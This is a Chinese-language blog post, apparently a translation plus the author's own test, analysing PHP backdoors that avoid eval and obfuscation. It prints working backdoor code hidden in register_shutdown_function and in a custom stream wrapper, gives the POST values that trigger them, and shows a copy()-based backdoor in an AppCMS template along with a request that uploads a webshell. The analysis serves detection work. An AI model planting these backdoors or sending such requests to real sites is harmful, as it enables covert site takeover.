php流包装器

根据我们最新的报告,百分之七十二的被入侵网站都含有后门。后门是攻击者为了保持控制权而在站点留下的特殊文件。必要的时候,攻击者会利用它再次感染该站点。


我们偶然发现了一些不需要使用PHP常见函数(比如:eval,create_function,preg_replace,assert,base64_decode)即可实现的后门。


这些罕见后门看上去就像普通代码一样,它们不需要常见的混淆方法(比如:加密字符串,大小写混淆,字符串拼接)就可以让攻击者任意代码执行。


在Shutdown函数中的后门


让我们从简单的看起。在 @package.win.error.Libraries ,并且有这样一个函数:

function win()  { register_shutdown_function($_POST['d']('', $_POST['f']($_POST['c']))); }

此处的 $_POST 参数看上去十分可疑,那么这个代码到底是不是后门呢?


register_shutdown_function 注册了一个在此脚本运行完毕后的操作。这意味着无论这个代码出现在哪一行,它只在执行完时才被调用。


这样的话,脚本执行完后调用的函数便是:

$_POST['d']('', $_POST['f']($_POST['c']))

这行代码看上去如同加密一般。如果你不清楚黑客能用它干什么,让我们来想想黑客代入如下参数执行后会怎么样:

d=create_function
f=base64_decode
c=some_base64_encoded_malicious_PHP_code



于是,便会这样:

create_function('', base64_decode(some_base64_encoded_malicious_PHP_code))


现在便是一个正常的后门了。这个代码不需要被直接调用,因为shutdown函数会自动执行它。


在Stream Wrapper中的后门


之前的只是热身罢了,现在我们来看看更复杂的。


这次我们用 @package Stream.ksn.Libraries。我们不难推导出这里有个Stream类并和一个创建ksn协议流包装器的函数。

class Stream { 
 function stream_open($path, $mode, $options, &$opened_path)
 {  $url = parse_url($path);
 $f = $_POST['d']('', $url["host"]); 
 $f(); 
 return true;
 } 
}
stream_wrapper_register("ksn", "Stream");
// Register connect the library Stream
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');

我们来用几个小节分析这个代码


代码貌似人畜无害


对于一些开发者来讲,这个代码看上去像是那些第三方写的内容管理插件代码。


我们还不清楚它的具体作用,但是有些站长可能会默认它是合法代码。他们可能会通过其中的一小段来推测:是不是和ksn流相关呢?ksn又是什么呢?不管了,应该有用吧。


等等!我们在代码中看到了POST。因为攻击者总是可以操控它,因此对POST保持警惕。然而,我们不清楚POST具体的作用。


探索与发现


你玩过那些文字解密的游戏吗?这和我们做的十分相似。


我们先从 stream_open 分析:

$f = $_POST['d']('', $url["host"]);

当POST参数被用做函数名时,这引起了我们的关注。看上去 $_POST['d] 作用像之前的create_function。如果这样的话,$url['host']应该是可执行代码,但是一个经过 parse_url处理的函数应该包含不了代码吧?不过。。。


模糊化域名格式


让我们看看传进 stream_open$path —— 它包括了一个被 parse_url 解析过后的 URL,我们首先分析一下下列代码:

stream_wrapper_register("ksn", Stream);

这个函数将关联 ksn协议和Stream类。Stream类继承了streamWrapper的属性,也就是说wrapper 初始化完成时,stream_open会被直接调用。(比方说 fopen 该协议时)


stream_open应该是像如下一样被声明。其中,$path是被传递到fopen的URL

public bool streamWrapper::stream_open ( string $path , string $mode , int $options , string &$opened_path )

我们可以用fopen来打开ksn://协议的url

$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');

所以我们的path就是:

‘ksn://’.$_POST[‘f’]($_POST[‘c’]),’


这会构造一个可以让主机执行恶意代码的URL


那么我们应该如何构建一个可以被当做合法PHP代码执行的域名或者ip地址?


根据 RFC3986,我们并不需要构建合法的域名,因为parse_url不会检查URL的合法性,它只负责解析。任何从 :// 开始,以 / 或 : 结尾的那一部分字符串(如果没有的话,则是余下的全部字符)都被视作主机名部分。


比方说,如果你把 ksn://eval(base64_decode($_POST[“code”])); 传递给 parse_url,主机部分便是 eval(base64_decode($_POST[“code”]));


就像之前那,我们此处可以理解:

f=base64_decode
c=some_base64_encoded_malicious_PHP_code

然后就会执行这样的fopen

$fp = fopen('ksn://base64_decode(base64_encoded_malicious_PHP_code)', '');

回过头来看 stream_open,我们可以知道被传入的URL

$f = $_POST['d']('', $url["host"]);

其实是:

$f = create_function('', base64_decode(base64_encoded_malicious_PHP_code));

到了最后,$f 会被调用:

$f();

简单来说,这个后门就是打开 ksn:// 协议的 fopen 引起的,然而我们仅粗略地读不会发现什么异常



自己的测试实例:

出现原因:

在 templates/m/ 文件夹下出现了一个 content_list.php 文件,修改时间为 2017年5月25日。

经过解密,9c224bc6b59179729b15e1dddcbb5c82为字符串kejishidai的md5值。

由代码知,这里存在一个copy函数构成的后门。

在第12行,实际执行的即为:

copy(trim($_GET[url]),$_GET[cms]);

将参数url设置为php://input,参数cms设置为shell的文件名,然后POST传入webshell。如下:

 
    
http://127.0.0.1:2500/appcms/appcms_2.0.101/templates/m/content_list.php?session=kejishidai&url=php://input&cms=temp.php
POST:
<?php phpinfo();?>

freebuf关于流包装器构成webshell的讲解

国外文档

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值